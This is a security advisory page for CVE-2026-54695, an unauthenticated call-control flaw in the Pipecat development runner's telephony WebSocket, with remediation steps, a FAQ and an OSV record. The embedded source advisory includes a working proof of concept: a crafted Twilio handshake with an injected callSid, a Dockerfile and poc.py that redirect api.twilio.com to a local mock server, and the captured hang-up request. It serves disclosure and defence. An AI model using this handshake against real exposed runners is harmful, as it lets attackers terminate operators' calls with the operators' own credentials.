CVE-2026-54695: Pipecat Telephony WebSocket `/ws` Unauthenticated Call-Control Vulnerability

HIGH
Advisory Identifier: GHSA-j8cv-x86q-rj85
CVSS 7.5
CWE-862
Published
Advisory Summary

CVE-2026-54695 is a HIGH (CVSS 7.5) telephony websocket `/ws` unauthenticated call-control vulnerability (CWE-862: Missing Authorization) affecting Pipecat libraries in the PyPI ecosystem. The issue involves telephony websocket `/ws` unauthenticated call-control abuse via attacker-supplied call sid. Remediation is available by upgrading affected packages to version 1.4.0.

CVE-2026-54695 at a Glance

CVE Identifier CVE-2026-54695
GHSA Identifier GHSA-j8cv-x86q-rj85
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-862: Missing Authorization
Affected Product Pipecat
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity Low (I:L)
Availability High (A:H)

How to Fix CVE-2026-54695

To remediate this vulnerability, upgrade all affected Pipecat dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

pipecat-ai fixed: 1.4.0
pip install pipecat-ai>=1.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show pipecat-ai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-54695, inspect your installed packages using pip:

pip show pipecat-ai

Analyze the terminal output to locate any version of Pipecat in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.0), your application is affected.

Note: The pip show pipecat-ai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Pipecat, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Development Runner Telephony WebSocket `/ws` Unauthenticated Call-Control Abuse via Attacker-Supplied Call SID ### Summary The pipecat development runner registers a `/ws` WebSocket endpoint for telephony testing that accepts connections without any authentication. An unauthenticated remote attacker who can reach an exposed runner endpoint can connect to this endpoint, send a crafted Twilio handshake message containing an attacker-supplied `callSid`, and cause the server to issue an authenticated Twilio REST API hang-up request against that call SID using the server operator's own credentials. This may allow the attacker to forcibly terminate an active call on the victim's Twilio account if the attacker knows or obtains a valid call SID for that account. Equivalent unauthenticated call-control sinks exist for Telnyx and Plivo. Maintainers are evaluating the final CVSS 3.1 score. ### Details The pipecat development runner registers a WebSocket route at `/ws` (`src/pipecat/runner/run.py:1116`). When a client connects, the server immediately accepts the connection without performing any authentication or signature verification (`run.py:1119`): ```python await websocket.accept() # run.py:1119 — no auth check before this point ``` After acceptance, the server reads the Twilio WebSocket stream-start handshake and extracts the `callSid` field verbatim from the attacker-controlled JSON payload (`src/pipecat/runner/utils.py:223`): ```python call_id: start_data.get("callSid") # utils.py:223 — tainted, attacker-supplied ``` The tainted `call_id` is then passed directly into `TwilioFrameSerializer` alongside the server's own Twilio account credentials, which are read from environment variables (`src/pipecat/runner/utils.py:513-517`): ```python TwilioFrameSerializer( stream_sid=stream_id, call_sid=call_id, # TAINTED account_sid=os.getenv("TWILIO_ACCOUNT_SID"), # server credential auth_token=os.getenv("TWILIO_AUTH_TOKEN"), # server credential ) ``` `TwilioFrameSerializer` has `auto_hang_up` defaulting to `True` (`src/pipecat/serializers/twilio.py:56`). When the pipeline terminates and serializes an `EndFrame` or `CancelFrame`, `_hang_up_call()` is triggered (`twilio.py:141-147`). This method constructs a Twilio REST API URL containing the attacker-supplied `call_sid` and POSTs to it using the server's own credentials (`twilio.py:196`, `twilio.py:206`): ``` POST https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Calls/{attacker_call_sid}.json Authorization: Basic <base64(account_sid:auth_token)> Body: Status=completed ``` The same unauthenticated call-control pattern exists for Telnyx (`src/pipecat/serializers/telnyx.py:188`, `:195`) and Plivo (`src/pipecat/serializers/plivo.py:180`, `:187`). Although the runner defaults to `localhost` and is documented as a development runner, its telephony mode is commonly used with a public proxy hostname so that telephony providers can connect inbound calls. If the development runner is exposed to untrusted networks while configured with Twilio, Telnyx, or Plivo credentials, this becomes a realistic network-reachable attack surface. ### PoC **Prerequisites** - Docker (for building the isolated PoC image) - A clone of the pipecat repository at commit `b982b45a7ae1e5ee99e4390ad5a116cdd9b4a8e2` placed at `<context_root>/repo/` - The files `vuln-001/Dockerfile` and `vuln-001/poc.py` present under `<context_root>/` **Step 1 — Build the Docker image** ```bash docker build \ -f vuln-001/Dockerfile \ -t vuln001-poc \ reports/pypiAi_247_pipecat-ai__pipecat ``` The Dockerfile installs pipecat from the local repository clone, generates a self-signed TLS CA and server certificate for `api.twilio.com`, and registers that CA in the system trust store so that pipecat's `aiohttp`-based HTTP client accepts the mock server certificate. **Step 2 — Run the PoC** ```bash docker run --rm \ --add-host api.twilio.com:127.0.0.1 \ vuln001-poc ``` The `--add-host` flag redirects DNS resolution for `api.twilio.com` to the loopback interface so all outgoing Twilio REST API calls hit the mock server instead of Twilio's real infrastructure. **What the PoC does** 1. Starts a local TLS-enabled HTTP server on `127.0.0.1:443` that impersonates `api.twilio.com` and records every incoming POST request. 2. Simulates the attacker-controlled WebSocket handshake message with an injected `callSid`: ```json {"event": "start", "start": {"streamSid": "MX000...", "callSid": "CAATTACKER1337INJECTED00000000001", "customParameters": {}}} ``` 3. Runs the exact pipecat code path: parses `callSid` from attacker input (`utils.py:223`), constructs `TwilioFrameSerializer` with server credentials (`utils.py:513-517`), and calls `serialize(EndFrame())` which triggers `_hang_up_call()` (`twilio.py:141-147`, `:196`, `:206`). 4. Verifies that the mock server received a POST whose URL contains the attacker-injected call SID. **Expected output (passing)** ``` [PASS] *** VULNERABILITY CONFIRMED *** [PASS] Attacker callSid 'CAATTACKER1337INJECTED00000000001' appears in Twilio REST API URL. [PASS] The server used its own credentials (account_sid=ACFAKE000000000000000000000000001) [PASS] to issue an authenticated hang-up command for the attacker-specified call SID. ``` **Observed intercepted request (Phase 2 dynamic reproduction)** ``` POST https://api.twilio.com/2010-04-01/Accounts/ACFAKE000000000000000000000000001/Calls/CAATTACKER1337INJECTED00000000001.json Authorization: Basic QUNGQUtFMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxOmZha2VfYXV0aF90b2tlbl9wb2Nfb25seQ== Body: Status=completed ``` Decoding the `Authorization` header confirms `ACFAKE000000000000000000000000001:fake_auth_token_poc_only` — the server's own credentials were used against the attacker-specified call SID. ### Impact This is a Missing Authorization vulnerability (CWE-862) in the development runner's telephony WebSocket handling. An unauthenticated network actor who can reach an exposed `/ws` WebSocket endpoint of a pipecat development runner configured with Twilio, Telnyx, or Plivo credentials may be able to: 1. **Forcibly terminate active calls whose valid call-control identifiers are known or obtained** on the server operator's Twilio, Telnyx, or Plivo account by injecting the victim call identifier into the WebSocket handshake and then triggering pipeline termination. 2. **Cause denial of service** against affected calls by repeatedly terminating calls for which the attacker has valid call-control identifiers. 3. **Abuse the operator's telephony provider credentials** to perform call-control actions that the attacker does not have direct access to, effectively escalating privilege over the operator's telephony account. Impacted parties include operators who expose the pipecat development runner's telephony `/ws` endpoint on a publicly reachable host with Twilio, Telnyx, or Plivo credentials configured, and their customers whose active calls can be disrupted if a valid call-control identifier is known or obtained by an attacker. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.11-slim LABEL description="VULN-001 PoC: Telephony WebSocket /ws callSid injection (CWE-862)" WORKDIR /poc # Install system tools needed for certificate generation and trust management RUN apt-get update && apt-get install -y \ openssl \ ca-certificates \ && rm -rf /var/lib/apt/lists/* # Generate a local CA and a server certificate for api.twilio.com. # We add the CA to the system trust store so that Python's ssl module # (used by aiohttp inside TwilioFrameSerializer._hang_up_call) accepts # our mock HTTPS server at 127.0.0.1:443 as if it were real Twilio. RUN mkdir -p /poc/certs \ # CA private key && openssl genrsa -out /poc/certs/ca.key 2048 \ # Self-signed CA certificate (1 day is enough for a PoC run) && openssl req -new -x509 -days 1 \ -key /poc/certs/ca.key \ -out /poc/certs/ca.crt \ -subj "/CN=Mock Twilio CA/O=VULN001-PoC/C=US" \ # Server private key && openssl genrsa -out /poc/certs/server.key 2048 \ # Server CSR — CN must match the hostname pipecat connects to && openssl req -new \ -key /poc/certs/server.key \ -out /poc/certs/server.csr \ -subj "/CN=api.twilio.com/O=Mock Twilio/C=US" \ # SAN extension file (required for modern TLS hostname verification) && printf "[SAN]\nsubjectAltName=DNS:api.twilio.com\n" > /poc/certs/san.cnf \ # Sign the server cert with our CA, including the SAN extension && openssl x509 -req -days 1 \ -in /poc/certs/server.csr \ -CA /poc/certs/ca.crt \ -CAkey /poc/certs/ca.key \ -CAcreateserial \ -out /poc/certs/server.crt \ -extfile /poc/certs/san.cnf \ -extensions SAN \ # Add our CA to the Debian system trust store && cp /poc/certs/ca.crt /usr/local/share/ca-certificates/mock_twilio_ca.crt \ && update-ca-certificates # Install pipecat from the cloned repository. # aiohttp is a pipecat base dependency; it is used inside _hang_up_call(). # numpy and soxr are required for pipecat audio utilities imported at module load. COPY repo /pipecat RUN pip install --no-cache-dir \ -e "/pipecat" \ aiohttp \ "websockets>=11" # Fake Twilio server-side credentials (equivalent to what a real deployment reads from env). # In a real deployment these are valid account credentials; here they just need to be non-empty # so TwilioFrameSerializer passes its __init__ validation. ENV TWILIO_ACCOUNT_SID=ACFAKE000000000000000000000000001 ENV TWILIO_AUTH_TOKEN=fake_auth_token_poc_only COPY vuln-001/poc.py /poc/poc.py # Run the PoC. The container must be started with --add-host api.twilio.com:127.0.0.1 # so that DNS for api.twilio.com resolves to the local mock server. CMD ["python3", "/poc/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Telephony WebSocket /ws unauthenticated call-control abuse via attacker-supplied call SID (CWE-862). Vulnerability summary --------------------- The pipecat telephony runner registers a /ws WebSocket endpoint that accepts connections without any authentication (run.py:1119). When a client connects, the server parses the Twilio "start" handshake message and extracts the callSid field verbatim from the attacker-controlled payload (utils.py:223). That callSid is then injected into TwilioFrameSerializer together with the server's own Twilio credentials read from environment variables (utils.py:513-517). When the pipeline terminates and serializes an EndFrame, _hang_up_call() fires and issues a Twilio REST API POST with the attacker's callSid in the URL (twilio.py:196, :206), causing the server to hang up the attacker-specified call SID if it identifies a valid call in the server's Twilio account. What this PoC does ------------------ 1. Starts a local HTTPS server on 127.0.0.1:443 that impersonates api.twilio.com and records every incoming POST request. The TLS certificate was generated in the Docker build stage and the CA was injected into the system trust store, so aiohttp accepts it as legitimate. 2. Ensures /etc/hosts resolves api.twilio.com to 127.0.0.1 so that aiohttp's DNS lookup reaches the mock server instead of Twilio's real infrastructure. 3. Reproduces the exact vulnerable code path from pipecat: - Parses callSid from attacker-controlled input (utils.py:223) - Creates TwilioFrameSerializer(call_sid=<attacker_value>, account_sid=TWILIO_ACCOUNT_SID, auth_token=TWILIO_AUTH_TOKEN) (utils.py:513-517) - Calls serialize(EndFrame()) which internally invokes _hang_up_call() (twilio.py:141-147) - _hang_up_call() POSTs to https://api.twilio.com/.../Calls/{callSid}.json using server-side Basic Auth credentials (twilio.py:196, :206) 4. Verifies that the mock server received a POST whose URL contains the attacker-injected callSid, providing deterministic observable evidence. Expected pass criterion ----------------------- The intercepted POST path must contain ATTACKER_CALL_SID. This proves that an attacker who connects to /ws and sends a crafted callSid can cause the pipecat server to issue authenticated Twilio REST API calls against the call SID supplied by the attacker, using the server operator's credentials. Requirements ------------ - Run inside the Docker image built from the accompanying Dockerfile. - Start the container with --add-host api.twilio.com:127.0.0.1, OR run this script as root so that /etc/hosts can be written programmatically. - Port 443 must be available (container runs as root by default). """ import asyncio import json import os import ssl import sys import threading import time from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- # The callSid the attacker injects into the Twilio WebSocket handshake. # In a real attack this would need to be the SID of a victim's active call on # the server operator's Twilio account. ATTACKER_CALL_SID = "CAATTACKER1337INJECTED00000000001" # Fake Twilio account credentials — in a real deployment these are real and # are read from environment variables by pipecat (os.getenv). FAKE_ACCOUNT_SID = os.environ.get("TWILIO_ACCOUNT_SID", "ACFAKE000000000000000000000000001") FAKE_AUTH_TOKEN = os.environ.get("TWILIO_AUTH_TOKEN", "fake_auth_token_poc_only") # Directory where the Docker build stage generated the TLS certificate pair. CERTS_DIR = Path("/poc/certs") # The mock Twilio HTTPS server listens here. Must be 443 because pipecat # hard-codes the Twilio API base URL to https://api.twilio.com (port 443). MOCK_SERVER_HOST = "127.0.0.1" MOCK_SERVER_PORT = 443 # --------------------------------------------------------------------------- # Mock Twilio REST API server # --------------------------------------------------------------------------- # Thread-safe storage for captured requests; set by the handler thread. _intercepted_requests: list[dict] = [] _request_received = threading.Event() class MockTwilioAPIHandler(BaseHTTPRequestHandler): """ Minimal HTTP handler that records POST requests. pipecat's _hang_up_call() issues exactly one POST request to: https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Calls/{call_sid}.json with Basic Auth (account_sid:auth_token) and body Status=completed. This handler captures that request verbatim. """ def do_POST(self) -> None: content_length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(content_length).decode("utf-8", errors="replace") captured = { "method": "POST", "path": self.path, "authorization": self.headers.get("Authorization", ""), "body": body, } _intercepted_requests.append(captured) _request_received.set() print() print("[MOCK TWILIO] *** Intercepted outgoing Twilio REST API call ***") print(f"[MOCK TWILIO] POST https://api.twilio.com{self.path}") print(f"[MOCK TWILIO] Authorization: {captured['authorization']}") print(f"[MOCK TWILIO] Body: {body}") print() # Respond with a minimal 200 JSON body that satisfies aiohttp's response parsing. response_body = json.dumps({"sid": "CA000000000000000000000000000001", "status": "completed"}).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(response_body))) self.end_headers() self.wfile.write(response_body) def log_message(self, fmt: str, *args) -> None: # type: ignore[override] # Suppress the default per-request stderr log line. pass def start_mock_twilio_server() -> HTTPServer: """ Start the mock Twilio HTTPS server in a daemon thread. The server uses the TLS certificate generated at Docker build time. That certificate is for api.twilio.com and is signed by the mock CA that was added to the system trust store via update-ca-certificates, so Python's ssl.create_default_context() (used by aiohttp) accepts it. """ cert_file = CERTS_DIR / "server.crt" key_file = CERTS_DIR / "server.key" if not cert_file.exists() or not key_file.exists(): print(f"[ERROR] TLS certificates not found in {CERTS_DIR}") print("[ERROR] Rebuild the Docker image: the Dockerfile generates them at build time.") sys.exit(1) ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ssl_ctx.load_cert_chain(str(cert_file), str(key_file)) server = HTTPServer((MOCK_SERVER_HOST, MOCK_SERVER_PORT), MockTwilioAPIHandler) server.socket = ssl_ctx.wrap_socket(server.socket, server_side=True) thread = threading.Thread(target=server.serve_forever, daemon=True) thread.start() return server # --------------------------------------------------------------------------- # /etc/hosts redirect # --------------------------------------------------------------------------- def ensure_hosts_redirect() -> None: """ Ensure api.twilio.com resolves to 127.0.0.1 in /etc/hosts. Preferred: pass --add-host api.twilio.com:127.0.0.1 to docker run. Fallback: write directly (requires root, which is the default in Docker). """ hosts_path = Path("/etc/hosts") content = hosts_path.read_text() if "api.twilio.com" in content: print("[+] /etc/hosts already contains api.twilio.com -> 127.0.0.1") return try: with open(hosts_path, "a") as fh: fh.write("\n127.0.0.1 api.twilio.com\n") print("[+] Wrote api.twilio.com -> 127.0.0.1 into /etc/hosts") except PermissionError: print("[WARN] Cannot write /etc/hosts — start container with" " --add-host api.twilio.com:127.0.0.1") # --------------------------------------------------------------------------- # Core attack reproduction using pipecat's actual code # --------------------------------------------------------------------------- async def reproduce_attack() -> None: """ Reproduce the vulnerable pipecat code path step by step. This function uses the real pipecat library (installed from the cloned repository) and does NOT modify any source files. The objective is to show that pipecat's own code, given attacker-controlled input on /ws, will issue an authenticated Twilio REST API call against the injected callSid. """ # Import pipecat's actual serializer and frame types. from pipecat.serializers.twilio import TwilioFrameSerializer from pipecat.frames.frames import EndFrame print() print("=" * 65) print("Step 1 — Attacker-supplied WebSocket handshake (no auth check)") print("=" * 65) # This is what the attacker sends to /ws after the server calls # await websocket.accept() (run.py:1119 — no prior auth check). attacker_ws_message = { "event": "start", "start": { "streamSid": "MX00000000000000000000000000000000", "callSid": ATTACKER_CALL_SID, # <-- attacker-controlled "customParameters": {} } } print(f"Attacker sends: {json.dumps(attacker_ws_message)}") print() print("=" * 65) print("Step 2 — pipecat parses callSid from attacker message") print(" (mirrors utils.py:218-230)") print("=" * 65) # Reproduction of utils.py:219-230 start_data = attacker_ws_message["start"] call_id = start_data.get("callSid") # utils.py:223 — tainted value stream_id = start_data.get("streamSid") print(f"Parsed call_id (attacker-controlled): {call_id}") print(f"Parsed stream_id: {stream_id}") print() print("=" * 65) print("Step 3 — TwilioFrameSerializer created with attacker callSid") print(" + server-side Twilio credentials (utils.py:513-517)") print("=" * 65) print(f" call_sid = {call_id!r} [TAINTED: from attacker]") print(f" account_sid = {FAKE_ACCOUNT_SID!r} [from TWILIO_ACCOUNT_SID env var]") print(f" auth_token = {FAKE_AUTH_TOKEN[:8]!r}... [from TWILIO_AUTH_TOKEN env var]") # This is the exact code at utils.py:513-517. serializer = TwilioFrameSerializer( stream_sid=stream_id, call_sid=call_id, # TAINTED — attacker-supplied account_sid=FAKE_ACCOUNT_SID, # server credential auth_token=FAKE_AUTH_TOKEN, # server credential ) print() print("=" * 65) print("Step 4 — Pipeline ends: serialize(EndFrame()) triggers _hang_up_call()") print(" (twilio.py:141-147 -> twilio.py:196, :206)") print("=" * 65) print("Calling serializer.serialize(EndFrame()) ...") print(f"Expected Twilio API URL:") print(f" https://api.twilio.com/2010-04-01/Accounts/{FAKE_ACCOUNT_SID}" f"/Calls/{call_id}.json") print("(api.twilio.com resolves to 127.0.0.1 — intercepted by mock server)") # This line reproduces twilio.py:141-147 -> _hang_up_call(). # aiohttp will POST to api.twilio.com which /etc/hosts redirects to # our mock HTTPS server. The mock server logs the request including # the attacker-injected callSid in the URL. await serializer.serialize(EndFrame()) print("serialize(EndFrame()) returned — API POST dispatched.") # --------------------------------------------------------------------------- # Entry point # --------------------------------------------------------------------------- async def main() -> bool: print() print("=" * 65) print("VULN-001 PoC — Telephony WebSocket callSid Injection") print("CWE-862: Missing Authorization") print("pipecat-ai/pipecat @ commit b982b45") print("=" * 65) # 1. Redirect api.twilio.com to localhost ensure_hosts_redirect() # 2. Start the mock Twilio HTTPS server print("[*] Starting mock Twilio REST API server on 127.0.0.1:443 ...") start_mock_twilio_server() time.sleep(0.3) # Let the server thread bind and start accepting. print("[+] Mock server ready.") # 3. Reproduce the attack using pipecat's own code try: await reproduce_attack() except Exception as exc: print(f"\n[ERROR] Attack reproduction raised an exception: {exc}") import traceback traceback.print_exc() return False # 4. Wait for the mock server to record the intercepted request print() print("[*] Waiting for mock Twilio server to receive POST request (timeout 10 s) ...") received = _request_received.wait(timeout=10.0) # 5. Evaluate evidence print() print("=" * 65) print("EVIDENCE EVALUATION") print("=" * 65) if not received or not _intercepted_requests: print("[FAIL] Mock Twilio server received no requests within 10 seconds.") print(" Likely causes:") print(" - api.twilio.com /etc/hosts entry missing or wrong") print(" - Port 443 could not be bound (need root)") print(" - CA certificate not added to system trust store") return False req = _intercepted_requests[0] path = req["path"] auth = req["authorization"] body = req["body"] print(f"Intercepted POST:") print(f" URL: https://api.twilio.com{path}") print(f" Authorization: {auth}") print(f" Body: {body}") expected_fragment = f"/Calls/{ATTACKER_CALL_SID}.json" if expected_fragment in path: print() print("[PASS] *** VULNERABILITY CONFIRMED ***") print(f"[PASS] Attacker callSid '{ATTACKER_CALL_SID}' appears in Twilio REST API URL.") print(f"[PASS] The server used its own credentials (account_sid={FAKE_ACCOUNT_SID})") print(f"[PASS] to issue an authenticated hang-up command for the attacker-specified call SID.") print(f"[PASS] In a real deployment this terminates the call if the SID identifies an active call") print(f"[PASS] in the server operator's Twilio account.") return True else: print() print(f"[FAIL] Expected callSid not found in intercepted path: {path}") return False if __name__ == "__main__": success = asyncio.run(main()) sys.exit(0 if success else 1) ``` ### Resolution This issue was addressed in pipecat-ai `v1.4.0` by adding optional HMAC token authentication for development-runner WebSocket endpoints. Operators who expose the development runner’s WebSocket endpoints to anything other than localhost should upgrade to `v1.4.0` or later and enable WebSocket token authentication: ```bash PIPECAT_WEBSOCKET_AUTH=token ``` or: ```bash python bot.py -t twilio --ws-auth token python bot.py -t websocket --ws-auth token ``` When enabled, clients must first call `POST /start` to obtain a short-lived, one-time-use signed token before connecting to `/ws` or `/ws-client`. Tokens may be supplied via `Authorization: Bearer <token>`, `?token=<token>`, or as a path segment such as `/ws/<token>`, which is intended for telephony providers that cannot set custom headers. Invalid, expired, or replayed tokens are rejected with WebSocket close code `4003`. The fix was merged in https://github.com/pipecat-ai/pipecat/pull/4660.

CVE-2026-54695 Affected Pipecat Versions

1 component(s)
Fixed Versions:
1.4.0
Product / Package Ecosystem Affected Versions Fixed Version
pipecat-ai
PyPI
≥ 0.0.77
< 1.4.0
1.4.0

References

Frequently Asked Questions

What is CVE-2026-54695?
CVE-2026-54695 is a security vulnerability in Pipecat involving Telephony WebSocket `/ws` Unauthenticated Call-Control Abuse via Attacker-Supplied Call SID under CWE-862: Missing Authorization.
Which Pipecat versions are affected?
Affected versions include releases prior to 1.4.0 across affected packages: pipecat-ai.
What version fixes CVE-2026-54695?
Upgrading to 1.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is pipecat-ai affected?
Yes, pipecat-ai is affected in releases prior to 1.4.0. Upgrade your dependency to 1.4.0 or later.
What is the CVSS score of CVE-2026-54695?
CVE-2026-54695 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H.
What CWE is associated with CVE-2026-54695?
CVE-2026-54695 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check PyPI dependencies for CVE-2026-54695?
Run the dependency tree command: 'pip show pipecat-ai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-j8cv-x86q-rj85",
  "modified" : "2026-06-18T15:05:17Z",
  "published" : "2026-06-18T15:05:17Z",
  "aliases" : [ "CVE-2026-54695" ],
  "summary" : "Pipecat: Telephony WebSocket `/ws` Unauthenticated Call-Control Abuse via Attacker-Supplied Call SID",
  "details" : "## Development Runner Telephony WebSocket `/ws` Unauthenticated Call-Control Abuse via Attacker-Supplied Call SID\n\n### Summary\n\nThe pipecat development runner registers a `/ws` WebSocket endpoint for telephony testing that accepts connections without any authentication. An unauthenticated remote attacker who can reach an exposed runner endpoint can connect to this endpoint, send a crafted Twilio handshake message containing an attacker-supplied `callSid`, and cause the server to issue an authenticated Twilio REST API hang-up request against that call SID using the server operator's own credentials. This may allow the attacker to forcibly terminate an active call on the victim's Twilio account if the attacker knows or obtains a valid call SID for that account. Equivalent unauthenticated call-control sinks exist for Telnyx and Plivo. Maintainers are evaluating the final CVSS 3.1 score.\n\n### Details\n\nThe pipecat development runner registers a WebSocket route at `/ws` (`src/pipecat/runner/run.py:1116`). When a client connects, the server immediately accepts the connection without performing any authentication or signature verification (`run.py:1119`):\n\n```python\nawait websocket.accept()   # run.py:1119 — no auth check before this point\n```\n\nAfter acceptance, the server reads the Twilio WebSocket stream-start handshake and extracts the `callSid` field verbatim from the attacker-controlled JSON payload (`src/pipecat/runner/utils.py:223`):\n\n```python\ncall_id: start_data.get(\"callSid\")   # utils.py:223 — tainted, attacker-supplied\n```\n\nThe tainted `call_id` is then passed directly into `TwilioFrameSerializer` alongside the server's own Twilio account credentials, which are read from environment variables (`src/pipecat/runner/utils.py:513-517`):\n\n```python\nTwilioFrameSerializer(\n    stream_sid=stream_id,\n    call_sid=call_id,                          # TAINTED\n    account_sid=os.getenv(\"TWILIO_ACCOUNT_SID\"),  # server credential\n    auth_token=os.getenv(\"TWILIO_AUTH_TOKEN\"),     # server credential\n)\n```\n\n`TwilioFrameSerializer` has `auto_hang_up` defaulting to `True` (`src/pipecat/serializers/twilio.py:56`). When the pipeline terminates and serializes an `EndFrame` or `CancelFrame`, `_hang_up_call()` is triggered (`twilio.py:141-147`). This method constructs a Twilio REST API URL containing the attacker-supplied `call_sid` and POSTs to it using the server's own credentials (`twilio.py:196`, `twilio.py:206`):\n\n```\nPOST https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Calls/{attacker_call_sid}.json\nAuthorization: Basic <base64(account_sid:auth_token)>\nBody: Status=completed\n```\n\nThe same unauthenticated call-control pattern exists for Telnyx (`src/pipecat/serializers/telnyx.py:188`, `:195`) and Plivo (`src/pipecat/serializers/plivo.py:180`, `:187`).\n\nAlthough the runner defaults to `localhost` and is documented as a development runner, its telephony mode is commonly used with a public proxy hostname so that telephony providers can connect inbound calls. If the development runner is exposed to untrusted networks while configured with Twilio, Telnyx, or Plivo credentials, this becomes a realistic network-reachable attack surface.\n\n### PoC\n\n**Prerequisites**\n\n- Docker (for building the isolated PoC image)\n- A clone of the pipecat repository at commit `b982b45a7ae1e5ee99e4390ad5a116cdd9b4a8e2` placed at `<context_root>/repo/`\n- The files `vuln-001/Dockerfile` and `vuln-001/poc.py` present under `<context_root>/`\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vuln001-poc \\\n  reports/pypiAi_247_pipecat-ai__pipecat\n```\n\nThe Dockerfile installs pipecat from the local repository clone, generates a self-signed TLS CA and server certificate for `api.twilio.com`, and registers that CA in the system trust store so that pipecat's `aiohttp`-based HTTP client accepts the mock server certificate.\n\n**Step 2 — Run the PoC**\n\n```bash\ndocker run --rm \\\n  --add-host api.twilio.com:127.0.0.1 \\\n  vuln001-poc\n```\n\nThe `--add-host` flag redirects DNS resolution for `api.twilio.com` to the loopback interface so all outgoing Twilio REST API calls hit the mock server instead of Twilio's real infrastructure.\n\n**What the PoC does**\n\n1. Starts a local TLS-enabled HTTP server on `127.0.0.1:443` that impersonates `api.twilio.com` and records every incoming POST request.\n2. Simulates the attacker-controlled WebSocket handshake message with an injected `callSid`:\n   ```json\n   {\"event\": \"start\", \"start\": {\"streamSid\": \"MX000...\", \"callSid\": \"CAATTACKER1337INJECTED00000000001\", \"customParameters\": {}}}\n   ```\n3. Runs the exact pipecat code path: parses `callSid` from attacker input (`utils.py:223`), constructs `TwilioFrameSerializer` with server credentials (`utils.py:513-517`), and calls `serialize(EndFrame())` which triggers `_hang_up_call()` (`twilio.py:141-147`, `:196`, `:206`).\n4. Verifies that the mock server received a POST whose URL contains the attacker-injected call SID.\n\n**Expected output (passing)**\n\n```\n[PASS] *** VULNERABILITY CONFIRMED ***\n[PASS] Attacker callSid 'CAATTACKER1337INJECTED00000000001' appears in Twilio REST API URL.\n[PASS] The server used its own credentials (account_sid=ACFAKE000000000000000000000000001)\n[PASS] to issue an authenticated hang-up command for the attacker-specified call SID.\n```\n\n**Observed intercepted request (Phase 2 dynamic reproduction)**\n\n```\nPOST https://api.twilio.com/2010-04-01/Accounts/ACFAKE000000000000000000000000001/Calls/CAATTACKER1337INJECTED00000000001.json\nAuthorization: Basic QUNGQUtFMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAxOmZha2VfYXV0aF90b2tlbl9wb2Nfb25seQ==\nBody: Status=completed\n```\n\nDecoding the `Authorization` header confirms `ACFAKE000000000000000000000000001:fake_auth_token_poc_only` — the server's own credentials were used against the attacker-specified call SID.\n\n### Impact\n\nThis is a Missing Authorization vulnerability (CWE-862) in the development runner's telephony WebSocket handling. An unauthenticated network actor who can reach an exposed `/ws` WebSocket endpoint of a pipecat development runner configured with Twilio, Telnyx, or Plivo credentials may be able to:\n\n1. **Forcibly terminate active calls whose valid call-control identifiers are known or obtained** on the server operator's Twilio, Telnyx, or Plivo account by injecting the victim call identifier into the WebSocket handshake and then triggering pipeline termination.\n2. **Cause denial of service** against affected calls by repeatedly terminating calls for which the attacker has valid call-control identifiers.\n3. **Abuse the operator's telephony provider credentials** to perform call-control actions that the attacker does not have direct access to, effectively escalating privilege over the operator's telephony account.\n\nImpacted parties include operators who expose the pipecat development runner's telephony `/ws` endpoint on a publicly reachable host with Twilio, Telnyx, or Plivo credentials configured, and their customers whose active calls can be disrupted if a valid call-control identifier is known or obtained by an attacker.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"VULN-001 PoC: Telephony WebSocket /ws callSid injection (CWE-862)\"\n\nWORKDIR /poc\n\n# Install system tools needed for certificate generation and trust management\nRUN apt-get update && apt-get install -y \\\n    openssl \\\n    ca-certificates \\\n    && rm -rf /var/lib/apt/lists/*\n\n# Generate a local CA and a server certificate for api.twilio.com.\n# We add the CA to the system trust store so that Python's ssl module\n# (used by aiohttp inside TwilioFrameSerializer._hang_up_call) accepts\n# our mock HTTPS server at 127.0.0.1:443 as if it were real Twilio.\nRUN mkdir -p /poc/certs \\\n    # CA private key\n    && openssl genrsa -out /poc/certs/ca.key 2048 \\\n    # Self-signed CA certificate (1 day is enough for a PoC run)\n    && openssl req -new -x509 -days 1 \\\n       -key /poc/certs/ca.key \\\n       -out /poc/certs/ca.crt 